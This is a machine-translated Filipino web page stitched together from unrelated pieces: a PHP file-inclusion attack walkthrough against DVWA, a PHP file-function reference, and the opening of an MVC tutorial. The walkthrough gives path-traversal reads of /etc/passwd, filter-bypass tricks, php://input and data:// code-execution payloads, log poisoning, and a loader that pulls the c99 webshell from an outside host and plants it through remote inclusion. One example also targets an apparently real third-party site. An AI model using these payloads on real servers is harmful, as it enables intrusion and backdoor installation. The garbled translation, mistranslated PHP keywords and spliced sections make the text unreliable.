Fictional view php file. File - Binabasa ang mga nilalaman ng isang file at inilalagay ito sa isang array. Paggawa gamit ang mga file sa server

Minsan ang pag-iniksyon ng file ay tinatawag na pagsasama, kung minsan ito ay itinuturing na bahagi ng PHP injection (code injection). Ang huli ay hindi ganap na totoo, dahil ang mga kahinaan sa pag-iniksyon ng file ay hindi kinakailangang nauugnay sa pagpapatupad ng code.

Maaaring mangyari ang kahinaan kapag gumagamit (sa PHP) ng mga expression tulad ng:

  • nangangailangan_minsan,
  • isama_minsan,
  • isama,
  • nangangailangan

Ang bawat isa sa kanila ay may maliit na mga nuances, ngunit kung ano ang mayroon sila sa karaniwan ay ang pagsasama nila ng isang file sa programa at isagawa ito. Ang mga expression na ito ay maaaring magdulot ng mga problema kung pumasa sila sa input ng user at hindi ito na-filter ng program nang sapat.

Oo nga pala, ito ay mga expression, hindi mga function. Hindi kinakailangang sumulat ng ganito:

Require("somefile.php");

Ang isang mas kanais-nais na pagpipilian ay:

Nangangailangan ng "somefile.php";

Ngunit ito ay isang pag-urong na walang kinalaman sa kahinaan.

Kung isinama ang mga file gamit ang mga expression na require_once, include_once, isama, kailangan, pagkatapos ay masasabi nating ang code injection ay nagaganap din sa parehong oras. Gayunpaman, posibleng magsama ng mga file nang hindi tumatakbo ang code sa server. Halimbawa, binabago ng isang website ang hitsura nito batay sa napiling tema ng user. Ang pangalan ng mga tema ay tumutugma sa pangalan ng mga HTML file na binabasa sa server. Sa sitwasyong ito, kung ang kahilingan ay nabuo sa paraang basahin ang isang file na hindi nilayon para dito (halimbawa, isang PHP file), sa halip na magsagawa ng mga command, ang PHP source code ay ipapakita.

Maaaring tukuyin ng user ang isang remote o lokal na file bilang file ng pagsasama. Batay dito, ang dalawang kaukulang varieties ay nakikilala:

  • lokal na iniksyon ng file
  • malayong iniksyon ng file

Ang panganib ng malayuang pagsasama ay ang pagpapatupad ng arbitrary code sa isang vulnerable server. Ito ay kadalasang ginagamit para sa mga impeksyon sa backdoor.

Ang panganib ng lokal na iniksyon ng file ay maaaring ipakita ng user ang mga nilalaman ng mga file na wala siyang karapatang tingnan (mga source code ng programa, mga file ng system na may mga setting at password). Gayundin, kasama ang lokal na pagsasama, posibleng magsagawa ng third-party na code (halimbawa, para sa backdoor infection), kung ang isang file na may malisyosong code ay dati nang na-upload sa server, o ginamit ang log poisoning method, o ilang iba pang pamamaraan.

Ang lokal na pagsasama ng mga file ay hindi gaanong mapanganib kaysa sa pagpapakilala ng mga malalayong file.

Pinagsasamantalahan ang Lokal na Pag-embed ng File

Maaari mong subukan ang iyong kamay sa kahinaang ito sa Damn Vulnerable Web Application (DVWA). Gumagamit ako ng Web Security Dojo, kung saan naka-install na ang DVWA.

Magsimula tayo sa mababang antas (mababang DVWA Security).

Pumunta tayo sa pahina ng Pagsasama ng File http://localhost/dvwa/vulnerabilities/fi/?page=include.php

  • http://localhost/dvwa/vulnerabilities/fi/?page=file1.php
  • http://localhost/dvwa/vulnerabilities/fi/?page=file2.php
  • http://localhost/dvwa/vulnerabilities/fi/?page=file3.php

Kung ang isang halaga na katulad ng isang pangalan ng file (file1.php, file2.php) ay ipinasa bilang argumento sa isang variable, maaari nating ipagpalagay na ang isang kasama ay ginagamit. Dahil ang extension ng file ay .php, ang file ay malamang na naisakatuparan sa server (ibig sabihin, ang pag-iniksyon ng code ay posible) at hindi lamang ipinapakita para sa pagpapakita.

Ang DVWA ay may isang pahina na http://localhost/dvwa/about.php, ito ay matatagpuan sa dalawang antas pataas, subukan nating tingnan ito sa ganitong paraan: http://localhost/dvwa/vulnerabilities/fi/?page=../. ./ tungkol sa.php

Oo, mayroong isang lokal na kahinaan sa pagsasama. Kapag pumapasok, ang mga paglipat sa itaas na mga direktoryo (../) ay hindi na-filter, ang listahan ng mga file para sa pagsasama ay hindi kumpleto (sa halip na ang iminungkahing file*.php, pinili namin ang about.php).

Minsan ang mga kasamang file ay ginagamit, ngunit ang mga address ay maaaring magmukhang, halimbawa, tulad nito: http://localhost/dvwa/vulnerabilities/fi/?page=file1. Sa kasong ito, maaaring magdagdag ng extension sa script at mag-embed ang script ng file na sa wakas ay nabuo na ang pangalan sa script. Karaniwan, ang kahinaan sa form na ito ay mahirap/imposibleng pagsamantalahan.

Kadalasan ang mga tao ay gustong magbigay ng tulad nito bilang isang halimbawa ng pagsasamantala sa lokal na pagsasama ng file:

http://localhost/dvwa/vulnerabilities/fi/?page=../../../../../../../etc/passwd

Tulad ng nakikita natin, nagtrabaho ito. Ngunit dahil binabalewala ng mga web browser ang /r/n (mga bagong linyang character), kailangan nating buksan ang source ng code upang gawing nababasa ang mga entry:

Sa kasamaang palad, walang mga password sa /etc/passwd file sa mahabang panahon.

Mula sa server maaari kang kumuha ng iba't ibang mga file ng mga setting, mga SSL certificate, sa prinsipyo, anumang file na bukas para sa pagbabasa ng lahat ng mga gumagamit o kung saan ang web server ay may sapat na mga karapatang basahin:

http://localhost/dvwa/vulnerabilities/fi/?page=../../../../../../../etc/apache2/apache2.conf

Tulad ng para sa mga nakabahaging pagho-host, kung minsan ay posible na tumingin sa mga folder ng ibang tao (muli, kung ang mga karapatan ng gumagamit ay hindi na-configure nang tama).

http://localhost/dvwa/vulnerabilities/fi/?page=../../../evil/sqlite.db

Ang gawain ay kumplikado sa pamamagitan ng katotohanan na kailangan nating malaman ang landas patungo sa file.

Pagpapatakbo ng malayuang pag-iniksyon ng file

Ang PHP ay isang napaka-flexible at developer-friendly na programming language. Ang mga command sa pag-embed ng file at ilang iba pa ay perpektong kinikilala at iproseso nang tama hindi lamang ang mga lokal na file, kundi pati na rin ang mga URL...

Subukan nating isulat ang URL ng site na https://site/ sa halip na ang pangalan ng file:

http://localhost/dvwa/vulnerabilities/fi/?page=https://site/

Tingnan kung gaano ito kawili-wili:

Ang sumusunod ay nangyari: ang PHP interpreter ay nakatanggap ng utos na isama ang file/site https://site/. Binuksan/na-download niya ang kaukulang address at ipinadala ang resultang code na ipapatupad bilang isang PHP program. Dahil ang PHP ay nagpapatupad lamang ng code na napapalibutan ng naaangkop na mga tag (sa kasong ito ay walang code) at nag-output ng lahat ng iba pa, ang buong pahina ng website ay output kung ano ang dati.

Siyempre, ang kahinaan na ito ay kawili-wili sa amin hindi dahil maaari naming tingnan ang iba pang mga site sa pamamagitan ng isang site.

  • Pagbuo/paghanap ng backdoor source code
  • Gumagawa kami ng isang file na tama mula sa isang PHP point of view para sa pagpapatupad sa server, na nagse-save ng backdoor source code sa isang PHP file
  • I-save ang natanggap na code sa isang TEXT file
  • I-upload ang text file na ito sa isang kinokontrol na server
  • Ise-save namin ang aming backdoor sa isang vulnerable server gamit ang remote file inclusion
  • Binigyang-diin ko ang salitang "teksto" sa kadahilanang sa server na nasa ilalim ng aming kontrol ay dapat mayroong isang text file na hindi dapat isagawa sa aming server. Kailangan lang ipakita ng aming server ang mga nilalaman nito.

    Upang lumikha ng backdoor, maaari mong gamitin ang Weevely, PhpSploit, o maaari kang kumuha ng mga handa na solusyon. Gumamit tayo ng isang handa na sa pagkakataong ito.

    Itatalaga ko ang $backdoor variable ang source code ng backdoor, na dina-download ko mula sa Github. Pagkatapos ay ginagamit ko ang file_put_contents function upang i-save ang resultang source code sa c99unlimited.php file.

    Ang code na inilagay ko sa isang text file

    $backdoor = file_get_contents("https://raw.githubusercontent.com/BlackArch/webshells/master/php/c99unlimited.php"); file_put_contents("c99unlimited.php", "$backdoor"); echo "tapos na!";

    Ito ay makukuha sa http://miloserdov.org/sec.txt

    Ngayon, gamit ang isang remote na kasama, nag-a-upload kami ng backdoor sa isang vulnerable na server.

    http://localhost/dvwa/vulnerabilities/fi/?page=http://miloserdov.org/sec.txt

    Bigyang-pansin ang inskripsiyon na ginawa!, ito ay ipinapakita ng script, i.e. lahat ay malamang na gumana.

    Dahil ang script na kinabibilangan ng mga file ay matatagpuan sa http://localhost/dvwa/vulnerabilities/fi/ na direktoryo, at ang aming bagong file na may backdoor ay dapat na naka-save na may pangalang c99unlimited.php, ang buong address ng backdoor ay nasa ang vulnerable server ay dapat na: http: //localhost/dvwa/vulnerabilities/fi/c99unlimited.php

    Sinusuri namin:

    Mahusay, mayroon na tayong lahat ng feature na maaaring kailanganin ng administrator ng web server... at ang mga may access sa kanilang server.

    I-bypass ang pag-filter kapag nagsasama ng mga file nang lokal

    Lumipat tayo sa katamtamang antas ng seguridad (nako-configure sa DVWA Security).

    Kung titingnan natin ang source code (View Source button):

    pagkatapos ay makikita natin na ang ../ character ay na-filter na ngayon. Pipigilan tayo nito na lumipat sa isang direktoryo na mas mataas kaysa sa direktoryo kung saan tumatakbo ang mahinang script.

    Yung. walang gagana tulad nito:

    http://localhost/dvwa/vulnerabilities/fi/?page=../../../../../../../etc/mysql/my.cnf

    Pag-isipan natin kung paano gumagana ang pag-filter sa kasong ito? Sabihin nating ang salitang "masama" ay na-filter, pagkatapos ay isang linya tulad ng

    mabuti masama mabuti

    pagkatapos ng pag-filter ito ay magiging ganito:

    mabuti mabuti

    At kung magpasok ka ng linyang tulad nito

    masama masama xo

    pagkatapos ay pagkatapos ng pag-filter (ang "masama" ay aalisin) ito ay lalabas

    masama

    Sa ../ isiningit namin ang ../ sa gitna uli pala ..././

    Subukan natin ang address na ito http://localhost/dvwa/vulnerabilities/fi/?page=…/./…/./…/./…/./…/./…/./…/./etc/mysql / my.cnf

    Gumana ito!

    Ang isa pang workaround ay ang pag-encode ng mga character sa hexadecimal encoding, isang halimbawa ng linyang ito:

    http://example.com/index.php?file=..%2F..%2F..%2F..%2Fetc%2Fpasswd

    Ang "../" ay maaaring palitan ng "%2E%2E%2f".

    Isinasagawa din ang double hex encoding, kung saan ang “../” ay pinalitan ng “%252E%252E%252F”

    Lokal na pagsasama ng mga file kapag nagdaragdag ng extension sa isang script

    Kung ang code kasama ang mga file ay mukhang:

    Yung. Kung ang isang .php o ilang iba pang extension ay idinagdag sa anumang input ng user, hindi nito pinapayagan ang kahilingan na mabuo sa paraang magsagawa ng pag-atake.

    Mayroong ilang mga diskarte na idinisenyo upang itapon ang extension, ngunit maaari silang ituring na hindi na ginagamit dahil gumagana ang mga ito sa PHP 5.3, at kahit na hindi lahat ng mga bersyon. Gayunpaman, ang mga administrator ng web server ay klinikal na konserbatibo at mas gusto nilang huwag hawakan ang anuman kung ito ay gumagana. Yung. May pagkakataong makatagpo ng isang server na may napaka sinaunang bersyon ng PHP, at dapat mong malaman ang mga diskarteng ito.

    Gamit ang null byte %00 (null byte)

    Ang isang null byte ay idinagdag sa dulo ng kahilingan na huwag pansinin ang extension:

    http://www.bihtapublicschool.co.in/index.php?token=/etc/passwd%00

    Ang pangalawang paraan ay tinatawag na path pruning attack. Ang bottom line ay ang PHP ay pinuputol ang mga path na mas mahaba kaysa sa 4096 bytes. Sa kasong ito, binubuksan ng PHP ang file nang tama, kahit na may mga slash at tuldok sa dulo ng pangalan nito. Kung pumasa ka bilang isang parameter tulad ng?param1=../../../../etc/passwd/./././././ (kung saan ang ./ ay inuulit ng maraming libu-libong beses), pagkatapos ang end file kasama ang extension (na idinagdag ng script, bilang resulta kung saan ang pangalan ng file ay naging kasama ang/../../../../etc/passwd/./././././ .php) ay itatapon. At ang pangalan ng file ay isasama ang/../../../../etc/passwd/./././././. At dahil hindi nalilito ang PHP sa pamamagitan ng trailing slash at ./ sa dulo ng file, binabalewala lang nito ang mga ito, sa kabuuang PHP ay bubuksan ang file kasama ang path kasama ang/../../../../etc/ passwd.

    Pag-bypass sa pag-filter para sa malayuang pag-iniksyon ng file

    Gaya ng nakita na natin sa source code, pini-filter din ng katamtamang antas ng seguridad ang http:// at https://.

    Ngayon http://localhost/dvwa/vulnerabilities/fi/?. Gagamitin namin ang eksaktong parehong diskarte sa pag-bypass ng pag-filter na may lokal na pagsasama. Binuo na kahilingan:

    http://localhost/dvwa/vulnerabilities/fi/?page=htthttps://ps://site/

    At tandaan din na hindi ito na-filter, halimbawa ftp, i.e. Ang pagpipiliang ito ay gagana nang walang anumang mga trick:

    http://localhost/dvwa/vulnerabilities/fi/?page=ftp://site/

    Pagkuha ng source code ng PHP script kapag nagsasama ng mga file mula sa php://filter

    Ang trick na ito ay hindi nangangailangan ng malayuang pagsasama ng file. Isang uri ng meta wrapper na php://filter ang gagamitin.

    Sabihin nating gusto nating makita ang source code ng file na file1.php, pagkatapos ay para sa ating sitwasyon ang kahilingan ay bubuuin tulad nito:

    http://localhost/dvwa/vulnerabilities/fi/?page=php://filter/read=convert.base64-encode/resource=file1.php

    Bigyang-pansin ang walang kahulugan na string ng mga titik at numero - ito ang source code ng file file1.php sa base64 encoding. Dahil base64 ito, sinusuportahan din ang mga binary file.

    I-decode natin ang file:

    Remote code execution gamit ang php://input

    Ito ay hindi tulad ng pag-embed ng file at muli ay hindi nangangailangan sa iyo na mag-upload ng mga file.

    Upang makatulong, gagamitin ko ang extension ng FireFox, maaari mo ring gamitin ito o anumang iba pang program (halimbawa, curl) na maaaring maglipat ng data gamit ang POST method.

    Ang php://input ay may access sa raw body ng HTTP request, para maunawaan kung ano ang ginagawa ng include("php://input"), buksan ang page

    http://localhost/dvwa/vulnerabilities/fi/?page=php://input

    At sa katawan ng kahilingan, ipadala ang tamang PHP code (halimbawa, gamit ang POST method). Papayagan ka nitong magsagawa ng anumang function na pinapayagan sa remote server!

    Remote code execution na may data://

    Bukod pa rito, sinusuportahan ng PHP ang data:// URL scheme. Maaari mong direktang ilagay ang code sa GET parameter! Ang sumusunod na pagsubok ay hindi nangangailangan ng anumang mga espesyal na tool, isang regular na browser lamang upang maisagawa ang pag-atake.

    http://localhost/dvwa/vulnerabilities/fi/?page=data:text/plaintext,

    Maaaring mapansin ng ilang firewall ng web application ang isang kahina-hinalang string sa isang URL at i-block ang nakakahamak na kahilingan. Ngunit mayroong isang paraan upang i-encrypt ang string na may hindi bababa sa base64 encoding:

    http://localhost/dvwa/vulnerabilities/fi/?page=data:text/plain;base64, PD9waHAgcGhwaW5mbygpOyA/Pg==

    Magsagawa ng mga di-makatwirang utos mula sa /proc/self/environ

    /proc/self/environ ay ang process variable storage. Kung ang proseso ng Apache ay may sapat na mga karapatan upang ma-access ito, pagkatapos ay kapag nagbubukas ng isang web page na naglalaman ng isang kasama na may katulad na URL,

    www.website.com/view.php?page=../../../../../proc/self/environ

    maglalabas ng isang bagay tulad ng

    DOCUMENT_ROOT=/home/sirgod/public_html GATEWAY_INTERFACE=CGI/1.1 HTTP_ACCEPT=text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap , */*;q=0.1 HTTP_COOKIE=PHPSESSID=HTTP_HOST=www.website.com HTTP_REFERER=http://www.website.com/index.php?view=../../../../. ./../etc/passwd HTTP_USER_AGENT=Opera/9.80 (Windows NT 5.1; U; en) Presto/2.2.15 Version/10.00 PATH=/bin:/usr/bin QUERY_STRING=view=..%2F..% 2F..%2F..%2F..%2F..%2Fproc%2Fself%2Fenviron REDIRECT_STATUS=200 REMOTE_ADDR=6x.1xx.4x.1xx REMOTE_PORT=35665 REQUEST_METHOD=GET REQUEST_URI=/index.php? %2F..%2F..%2F..%2F..%2F..%2Fproc%2Fself%2Fenviron SCRIPT_FILENAME=/home/sirgod/public_html/index.php SCRIPT_NAME=/index.php SERVER_ADDR=1xx.1xx. 1xx.6x [email protected] SERVER_NAME=www.website.com SERVER_PORT=80 SERVER_PROTOCOL=HTTP/1.0 SERVER_SIGNATURE=

    Bigyang-pansin ang HTTP_USER_AGENT. Sa halip, maaari mong palitan ang tamang PHP code, na isasagawa sa isang malayong server.

    Pag-ukit at pag-iniksyon ng mga log kapag nagsasama ng mga file nang lokal

    Sa kasamaang palad, ang paraang ito ay hindi na gumagana sa mga kamakailang bersyon ng Apache.

    Ang kakanyahan nito ay nakasalalay sa katotohanan na ang code ng umaatake ay na-injected sa mga log ng web server. Magagawa ito sa pamamagitan ng pagpapalit ng User-Agent , o kahit na simpleng pagpasa nito sa isang parameter ng GET.

    Static na iniksyon ng isang malayuang file

    Ang halimbawa ng isang static ay kinabibilangan ng:

    Maaari kang gumamit ng static na pagsasama sa mga napaka-exotic na sitwasyon. Upang mag-inject ng malisyosong code, kinakailangang magsagawa ng man-in-the-middle na pag-atake sa pagitan ng dalawang server: ang isa ay nagho-host ng web application gamit ang kasama, at ang pangalawa ay nagho-host ng file na ginamit para sa pagsasama.

    PHP file_exists("test.txt")//May file ba? filesize("test.txt");//Alamin ang laki ng file //Ibinalik ang timestamp: fileatime("test.txt");//Petsa ng huling pag-access sa file //date("d M Y" , $atime); filemtime("test.txt");//Petsa ng pagbabago ng file //date("d M Y", $mtime); filectime("test.txt");//Petsa ng paglikha ng file (Windows) //date("d M Y", $ctime); Files: operating modes PHP resource fopen (string filename, string mode) // resource - nagbabalik ng pointer sa file kung sakaling magtagumpay, o FALSE kung sakaling magkamali Operating mode Paglalarawanr r+ w w+ A a+ b
    bukas na file read-only;
    buksan ang file para sa pagbabasa at pagsusulat;
    buksan ang file para sa pagsusulat lamang. Kung mayroon ito, ang kasalukuyang nilalaman ng file ay masisira. Ang kasalukuyang posisyon ay nakatakda sa simula;
    buksan ang file para sa pagbabasa at pagsusulat. Kung mayroon ito, ang kasalukuyang nilalaman ng file ay masisira. Ang kasalukuyang posisyon ay nakatakda sa simula;
    buksan ang file para sa pagsusulat. Ang kasalukuyang posisyon ay nakatakda sa dulo ng file;
    buksan ang file para sa pagbabasa at pagsusulat. Ang kasalukuyang posisyon ay nakatakda sa dulo ng file;
    iproseso ang binary file. Ang flag na ito ay kinakailangan kapag nagtatrabaho sa mga binary file sa Windows.
    Pagbubukas at pagsasara ng mga file sa PHP PHP $fi = fopen("test.html", "w+") o die("Error"); //Mga Halimbawa $fi = fopen("http://www.you/test.html","r"); $fi = fopen("http://ftp.you/test.html", "r"); //Close fclose($fi) Pagbabasa ng mga file sa PHP PHP //Pagbasa ng file fread(int fi, int haba) $str = fread($fi, 5); // Basahin ang unang 5 character echo $str; // dahil inilipat ng cursor ang $str = fread($fi, 12); // Basahin ang susunod na 12 character echo $str; fgets(int fi[, int length]) // Magbasa ng linya mula sa file fgetss(int fi, int length [, string allowable]) // Magbasa ng linya mula sa file at itapon ang HTML tags // string allowable - mga tag na kailangang iwanang fgetc(int fi) //Nagbabasa ng character mula sa isang file

    Sa una, ang Pagsulat ay magaganap sa simula ng file, sa pamamagitan ng pag-overwrite ng umiiral na data, kung mayroon man. Samakatuwid, kung kailangan mong magsulat ng isang bagay sa dulo ng file, kailangan mong itakda ang naaangkop na mode ng pagbasa, halimbawa, a+ .

    Pagmamanipula ng cursor sa mga PHP file PHP int fseek(int fi, int offset [, int kung saan]) //Pagtatakda ng cursor // int fi - pointer sa file //offset - ang bilang ng mga character na lilipat. //kung saan: //SEEK_SET - nagsisimula ang paggalaw sa simula ng file; //SEEK_CUR - nagsisimula ang paggalaw mula sa kasalukuyang posisyon; //SEEK_END - nagsisimula ang paggalaw mula sa dulo ng file. fseek($fi, -10, SEEK_END); //Basahin ang huling 10 character $s = fread($fi, 10); $pos = ftell($fi); // Alamin ang kasalukuyang posisyon rewind($f) // i-reset ang cursor bool feof($f) // dulo ng file Direktang gumana sa mga file (data) sa PHP PHP array file(string filename) // Kunin ang mga nilalaman ng file sa anyo ng isang array // Isa pang opsyon para sa direktang pagtatrabaho sa data file_get_contents(string filename) // Pagbabasa (nakukuha namin ang buong file sa isang linya) // Pagsusulat sa file (sa una ay na-overwritten) file_put_contents(string filename , mixed data[,int flag]); //FILE_APPEND // Sumulat sa dulo ng file: file_put_contents("test.txt", "data", FILE_APPEND); //Kung magsulat ka ng array, $array = array("I", "live"); file_put_contents("test.txt",$array); //then we get "Ilive" Managing files in php PHP copy(string source, string destination); // Kinokopya ang file rename(str oldname, str newname); // Palitan ang pangalan ng file unlink (string filename); // Pagtanggal ng file Pag-upload ng mga file sa PHP server // PHP.ini settings file_uploads (on|off) // pagpayag o hindi pagpapagana ng file uploads upload_tmp_dir // pansamantalang folder para sa mga na-upload na file. bilang default pansamantalang folder upload_max_filesize (default = 2 Mb) // max. laki ng na-upload na file post_max_size // kabuuang laki ng form na ipinadala (dapat mas malaki kaysa sa upload_max_filesize) //Simple HTML upload Nakikipagtulungan kami sa mga file sa PHP server //Tumatanggap ng data $tmp = $_FILES["userfile"][" tmp_name"]; $name = $_FILES["userfile"]["name"]; //Ilipat ang file move_uploaded_file($tmp, pangalan); move_uploaded_file($tmp, "upload/".name); // i-redirect ang file sa upload folder // kaugnay sa kasalukuyang file // Ano ang nasa $_FILES array $_FILES["userfile"]["name"] // file name, halimbawa, test.html $_FILES[ "userfile"][" tmp_name"] // pansamantalang pangalan ng file (path) $_FILES["userfile"]["size"] // laki ng file $_FILES["userfile"]["type"] // file type $ _FILES["userfile"] ["error"] // 0 - walang mga error, numero - oo Maraming mga tao ang nagsimulang magsulat ng isang proyekto upang gumana sa isang gawain, hindi nagpapahiwatig na maaari itong lumaki sa isang multi-user na sistema ng pamamahala, halimbawa , nilalaman o, ipinagbawal ng Diyos, produksyon. At ang lahat ay tila mahusay at cool, lahat ay gumagana, hanggang sa simulan mong maunawaan na ang code na nakasulat ay ganap na binubuo ng mga saklay at hard code. Ang code ay halo-halong may layout, mga query at saklay, kung minsan kahit na hindi nababasa. Ang isang pagpindot na problema ay lumitaw: kapag nagdaragdag ng mga bagong tampok, kailangan mong mag-tinker sa code na ito nang napakatagal, naaalala ang "ano ang nakasulat doon?" at isumpa ang iyong sarili sa nakaraan.

    Maaaring narinig mo na rin ang tungkol sa mga pattern ng disenyo at nabasa mo pa ang mga magagandang aklat na ito:

    • E. Gamma, R. Helm, R. Johnson, J. Vlissides "Mga diskarte sa disenyo na nakatuon sa object. Mga Pattern ng Disenyo";
    • M. Fowler "Arkitektura ng Enterprise Software Applications."
    At marami, hindi natakot sa malalaking manwal at dokumentasyon, ay sinubukang pag-aralan ang alinman sa mga modernong balangkas at, nahaharap sa pagiging kumplikado ng pag-unawa (dahil sa pagkakaroon ng maraming mga konsepto ng arkitektura na matalinong magkakaugnay), ipagpaliban ang pag-aaral at paggamit ng mga modernong kasangkapan sa isang "silungan."

    Ang artikulong ito ay magiging kapaki-pakinabang lalo na para sa mga nagsisimula. Sa anumang kaso, umaasa ako na sa loob ng ilang oras ay makakakuha ka ng ideya ng pagpapatupad ng pattern ng MVC, na sumasailalim sa lahat ng modernong web frameworks, at makakuha din ng "pagkain" para sa karagdagang pagmuni-muni sa "kung paano gawin mo." Sa dulo ng artikulo ay mayroong isang seleksyon ng mga kapaki-pakinabang na link na makakatulong din sa iyong maunawaan kung ano ang binubuo ng mga web frameworks (bukod sa MVC) at kung paano gumagana ang mga ito.

    Ang mga batikang programmer ng PHP ay malamang na hindi makahanap ng bago para sa kanilang sarili sa artikulong ito, ngunit ang kanilang mga komento at komento sa pangunahing teksto ay magiging lubhang kapaki-pakinabang! kasi Kung walang teorya, imposible ang pagsasanay, at kung walang pagsasanay, ang teorya ay walang silbi, pagkatapos ay magkakaroon muna ng kaunting teorya, at pagkatapos ay magpatuloy tayo sa pagsasanay. Kung pamilyar ka na sa konsepto ng MVC, maaari mong laktawan ang seksyon ng teorya at dumiretso sa pagsasanay.

    1. Teorya Ang pattern ng MVC ay naglalarawan ng isang simpleng paraan upang buuin ang isang application, ang layunin nito ay upang paghiwalayin ang logic ng negosyo mula sa user interface. Bilang resulta, ang application ay mas madaling sukatin, subukan, panatilihin at, siyempre, ipatupad.

    Tingnan natin ang conceptual diagram ng MVC pattern (sa palagay ko, ito ang pinakamatagumpay na diagram na nakita ko):

    Sa arkitektura ng MVC, ang modelo ay nagbibigay ng data at mga panuntunan sa lohika ng negosyo, ang view ay responsable para sa user interface, at ang controller ay nagbibigay ng pakikipag-ugnayan sa pagitan ng modelo at ng view.

    Ang isang karaniwang daloy ng isang MVC application ay maaaring ilarawan bilang mga sumusunod:

  • Kapag bumisita ang isang user sa isang web resource, ang script ng initialization ay gagawa ng isang instance ng application at ilulunsad ito para sa execution.
    Nagpapakita ito ng view ng, halimbawa, ang pangunahing pahina ng site.
  • Ang application ay tumatanggap ng kahilingan mula sa user at tinutukoy ang hiniling na controller at aksyon. Sa kaso ng pangunahing pahina, ang default na pagkilos ay isinasagawa ( index).
  • Pinapatakbo ng application ang controller at pinapatakbo ang paraan ng pagkilos,
    na, halimbawa, ay naglalaman ng mga modelong tawag na nagbabasa ng impormasyon mula sa database.
  • Pagkatapos nito, ang aksyon ay lumilikha ng view gamit ang data na nakuha mula sa modelo at ipinapakita ang resulta sa user.
  • Modelo - naglalaman ng lohika ng negosyo ng application at may kasamang mga pamamaraan para sa pagkuha (maaaring mga pamamaraan ng ORM ito), pagproseso (halimbawa, mga panuntunan sa pagpapatunay) at pagbibigay ng partikular na data, na kadalasang ginagawa itong napakakapal, na medyo normal.
    Ang modelo ay hindi dapat direktang makipag-ugnayan sa user. Ang lahat ng mga variable na nauugnay sa kahilingan ng gumagamit ay dapat iproseso sa controller.
    Ang modelo ay hindi dapat bumuo ng HTML o iba pang display code na maaaring magbago depende sa mga pangangailangan ng user. Ang nasabing code ay dapat iproseso sa mga view.
    Ang parehong modelo, halimbawa: ang modelo ng pagpapatunay ng user ay maaaring gamitin sa parehong user at administratibong bahagi ng application. Sa kasong ito, maaari mong ilipat ang pangkalahatang code sa isang hiwalay na klase at magmana mula dito, na tumutukoy sa mga sub-application-specific na pamamaraan sa mga inapo nito.

    View - ginagamit upang tukuyin ang panlabas na pagpapakita ng data na natanggap mula sa controller at modelo.
    Ang mga view ay naglalaman ng HTML markup at maliliit na pagsingit ng PHP code upang i-traverse, i-format, at ipakita ang data.
    Hindi dapat direktang ma-access ang database. Ito ang dapat gawin ng mga modelo.
    Hindi dapat gumana sa data na nakuha mula sa isang kahilingan ng user. Ang gawaing ito ay dapat gawin ng controller.
    Maaaring direktang ma-access ang mga katangian at pamamaraan ng isang controller o mga modelo upang makakuha ng data na handa sa output.
    Ang mga view ay karaniwang nahahati sa isang karaniwang template, na naglalaman ng markup na karaniwan sa lahat ng mga pahina (halimbawa, isang header at footer) at mga bahagi ng template na ginagamit upang ipakita ang output ng data mula sa modelo o ipakita ang mga form sa pagpasok ng data.

    Ang controller ay ang pandikit na nag-uugnay sa mga modelo, view, at iba pang bahagi sa isang gumaganang application. Ang controller ay responsable para sa pagproseso ng mga kahilingan ng user. Ang controller ay hindi dapat maglaman ng mga query sa SQL. Mas mainam na panatilihin ang mga ito sa mga modelo. Ang controller ay hindi dapat maglaman ng HTML o iba pang markup. Ito ay nagkakahalaga na dalhin ito sa view.
    Sa isang mahusay na idinisenyong MVC application, ang mga controller ay kadalasang napakanipis at naglalaman lamang ng ilang dosenang linya ng code. Ang parehong ay hindi masasabi tungkol sa Stupid Fat Controllers (SFC) sa CMS Joomla. Ang lohika ng controller ay medyo tipikal at karamihan sa mga ito ay inililipat sa mga batayang klase.
    Ang mga modelo, sa kabaligtaran, ay napakakapal at naglalaman ng karamihan sa mga code na nauugnay sa pagproseso ng data, dahil ang istraktura ng data at lohika ng negosyo na nakapaloob dito ay karaniwang medyo tiyak sa isang partikular na aplikasyon.

    1.1. Front Controller at Page ControllerSa karamihan ng mga kaso, ang pakikipag-ugnayan ng user sa isang web application ay nangyayari sa pamamagitan ng pag-click sa mga link. Tingnan ngayon ang address bar ng iyong browser - natanggap mo ang tekstong ito mula sa link na ito. Ang iba pang mga link, tulad ng mga nasa kanang bahagi ng pahinang ito, ay magbibigay sa iyo ng iba't ibang nilalaman. Kaya, ang link ay kumakatawan sa isang partikular na command sa web application.

    Umaasa ako na napansin mo na ang iba't ibang mga site ay maaaring magkaroon ng ganap na magkakaibang mga format para sa pagbuo ng address bar. Maaaring ipakita ng bawat format ang arkitektura ng isang web application. Kahit na ito ay hindi palaging ang kaso, sa karamihan ng mga kaso ito ay isang malinaw na katotohanan.

    Isaalang-alang natin ang dalawang opsyon para sa address bar, na nagpapakita ng ilang text at profile ng user.

    Unang pagpipilian:

  • www.example.com/article.php?id=3
  • www.example.com/user.php?id=4
  • Dito, ang bawat script ay may pananagutan para sa pagpapatupad ng isang partikular na command.

    Pangalawang opsyon:

  • www.example.com/index.php?article=3
  • www.example.com/index.php?user=4
  • At dito nangyayari ang lahat ng tawag sa isang script ng index.php.

    Makikita mo ang multi-touchpoint na diskarte sa mga forum ng phpBB. Ang forum ay tinitingnan sa pamamagitan ng viewforum.php script, ang paksa ay tinitingnan sa pamamagitan ng viewtopic.php, atbp. Ang pangalawang diskarte, na na-access sa pamamagitan ng isang pisikal na script file, ay makikita sa aking paboritong CMS MODX, kung saan ang lahat ng mga tawag ay dumadaan sa index.php.

    Ang dalawang pamamaraang ito ay ganap na naiiba. Ang una ay tipikal para sa pattern ng Page Controller, at ang pangalawang diskarte ay ipinapatupad ng pattern ng Front Controller. Ang controller ng pahina ay mabuti para sa mga site na may medyo simpleng lohika. Kaugnay nito, pinagsasama-sama ng controller ng kahilingan ang lahat ng aktibidad sa pagpoproseso ng kahilingan sa isang lugar, na nagbibigay dito ng mga karagdagang kakayahan na maaaring magpapahintulot sa iyo na magpatupad ng mas kumplikadong mga gawain kaysa sa karaniwang nalutas ng controller ng pahina. Hindi ako pupunta sa mga detalye ng pagpapatupad ng controller ng pahina, ngunit sasabihin lamang na sa praktikal na bahagi, ito ang magiging controller ng kahilingan (isang bagay na katulad) na bubuo.

    1.2. URL Routing Ang pagruruta ng URL ay nagbibigay-daan sa iyo na i-configure ang iyong application na tumanggap ng mga kahilingan mula sa mga URL na hindi tumutugma sa aktwal na mga file ng application, at gumamit ng mga CNC na may kahulugan sa mga user at mas gusto para sa pag-optimize ng search engine.

